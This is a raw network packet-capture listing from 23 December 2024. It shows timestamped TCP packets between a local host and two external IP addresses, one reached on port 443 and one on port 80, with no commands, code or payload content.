Dec 23, 2024 07:52:29.591490030 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.591552973 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.591562033 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.599874973 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.599920988 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.599947929 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.644984007 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.645060062 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.691864014 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.775150061 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.778981924 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.779043913 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.779068947 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.779170036 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.779243946 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.779340982 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.779360056 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.779371023 CET	49708	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.779377937 CET	443	49708	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.951683998 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.951725960 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:29.951783895 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.952095985 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:29.952111959 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:31.164616108 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:31.164771080 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:31.212910891 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:31.212937117 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:31.213279009 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:31.214385033 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:31.215137959 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:31.215177059 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:32.053606033 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:32.053741932 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:32.053796053 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:32.053870916 CET	49714	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:32.053885937 CET	443	49714	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:32.180311918 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:32.180363894 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:32.180438042 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:32.180742979 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:32.180757046 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:33.409493923 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:33.409594059 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:33.411420107 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:33.411438942 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:33.411842108 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:33.413563013 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:33.413703918 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:33.413741112 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:33.413800955 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:33.455343008 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:34.309077978 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:34.309206963 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:34.309279919 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:34.310038090 CET	49720	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:34.310058117 CET	443	49720	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:34.523453951 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:34.523503065 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:34.523575068 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:34.524060011 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:34.524075985 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:35.737307072 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:35.737669945 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:35.739584923 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:35.739600897 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:35.739851952 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:35.741214991 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:35.741349936 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:35.741383076 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:35.741497040 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:35.741507053 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:36.686223030 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:36.686317921 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:36.686397076 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:36.686646938 CET	49726	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:36.686669111 CET	443	49726	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:37.057701111 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:37.057765961 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:37.057845116 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:37.058213949 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:37.058234930 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:38.269174099 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:38.269434929 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:38.271235943 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:38.271249056 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:38.271560907 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:38.273102045 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:38.273216009 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:38.273224115 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:39.042170048 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:39.042267084 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:39.042361975 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:39.042474985 CET	49737	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:39.042486906 CET	443	49737	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:39.491991043 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:39.492022038 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:39.492105961 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:39.492679119 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:39.492686987 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.709498882 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.709680080 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.711136103 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.711146116 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.711396933 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.712757111 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.713627100 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.713658094 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.713757038 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.713788986 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.713885069 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.713922024 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.714020014 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.714051962 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.714168072 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.714199066 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.714327097 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.714365005 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.714373112 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.714493990 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.714524031 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.755328894 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.755501986 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.755539894 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.755559921 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.803337097 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.803488016 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.803540945 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.803597927 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.851330042 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:40.851447105 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:40.899333000 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:41.074804068 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:43.101253986 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:43.101386070 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:43.103190899 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:43.106575012 CET	49743	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:43.106592894 CET	443	49743	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:43.299706936 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:43.299761057 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:43.299880981 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:43.300263882 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:43.300276995 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:44.514739037 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:44.514931917 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:44.516669035 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:44.516685963 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:44.517096996 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:44.526001930 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:44.526001930 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:44.526132107 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:45.304285049 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:45.304410934 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:45.304550886 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:45.312145948 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:45.312175989 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:45.312200069 CET	49752	443	192.168.2.10	172.67.199.72
Dec 23, 2024 07:52:45.312211037 CET	443	49752	172.67.199.72	192.168.2.10
Dec 23, 2024 07:52:45.317708015 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:45.437241077 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:45.437377930 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:45.437892914 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:45.558037996 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769093037 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769129038 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769140959 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769196033 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.769381046 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769453049 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769464970 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769475937 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769516945 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.769901991 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769915104 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.769922018 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.770037889 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.888806105 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.888842106 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.888922930 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.961662054 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.961837053 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.961911917 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.965826988 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.965917110 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.965974092 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.974225998 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.974318027 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.974752903 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.982609034 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.982707024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.982801914 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.990948915 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.991076946 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.991142988 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:46.999392033 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.999468088 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:46.999532938 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.007833004 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.007867098 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.007940054 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.016241074 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.016256094 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.016318083 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.024468899 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.024543047 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.024593115 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.032881021 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.032969952 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.033112049 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.041263103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.041364908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.041423082 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.081470013 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.129566908 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.153969049 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.154061079 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.154161930 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.156491995 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.156609058 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.156704903 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.161617994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.161662102 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.161724091 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.166634083 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.166702986 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.166768074 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.171690941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.171807051 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.172221899 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.176512957 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.176601887 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.176651001 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.181372881 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.181453943 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.181581974 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.186180115 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.186274052 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.186357975 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.191057920 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.191149950 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.191206932 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.195909977 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.195998907 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.196091890 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.200753927 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.200864077 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.200998068 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.205607891 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.205697060 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.205825090 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.210890055 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.210906982 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.211056948 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.215276957 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.215363026 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.215467930 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.220144033 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.220217943 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.220320940 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.224965096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.225070953 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.225409031 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.349596024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.349642038 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.349831104 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.351560116 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.351665974 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.351761103 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.355449915 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.355515003 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.355882883 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.359386921 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.359464884 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.359525919 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.363213062 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.363306999 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.363450050 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.367109060 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.367213011 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.367311001 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.371021032 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.371114016 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.371193886 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.374948978 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.375029087 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.375159979 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.378923893 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.378969908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.379050970 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.382766008 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.382848024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.383008957 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.386651993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.386729002 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.386816978 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.390580893 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.390611887 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.390786886 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.394462109 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.394606113 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.394762039 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.398400068 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.398484945 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.398595095 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.402740002 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.402764082 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.403172970 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.406214952 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.406388998 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.406510115 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.410043001 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.410135031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.410211086 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.413976908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.414053917 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.414319992 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.417861938 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.417964935 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.421787024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.421880960 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.421902895 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.425695896 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.425759077 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.425810099 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.425810099 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.429619074 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.429677010 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.429801941 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.433530092 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.433581114 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.433686972 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.437438965 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.437479019 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.437561035 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.441313028 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.441415071 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.441725016 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.445262909 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:47.488795996 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:47.541812897 CET	80	49758	185.215.113.16	192.168.2.10
